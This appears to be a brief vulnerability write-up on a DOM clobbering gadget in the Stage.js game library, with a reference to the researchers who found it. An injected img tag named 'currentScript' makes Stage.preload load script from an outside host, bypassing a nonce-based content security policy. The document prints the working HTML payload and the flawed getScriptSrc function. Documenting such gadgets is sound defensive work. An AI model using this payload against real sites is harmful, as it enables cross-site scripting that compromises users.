Stage.js is a lightweight and fast 2D rendering and layout library for web and mobile game development.
The Stage.js library was using document.currentScript
as a reference to load plugins.
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/index.js">
<script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/stage.js/0.8.10/stage.web.js"></script>
<script nonce="secret">
Stage.preload("./index.js");
</script>
Root Cause
function getScriptSrc() {
// HTML5
if (document.currentScript) {
return document.currentScript.src;
}
// [...]
return function(url) {
if (/^\.\//.test(url)) {
var src = getScriptSrc();
var base = src.substring(0, src.lastIndexOf('/') + 1);
url = base + url.substring(2);
// } else if (/^\.\.\//.test(url)) {
// url = base + url;
}
return url;
};
Related links:
Found by jackfromeast, ishmeals.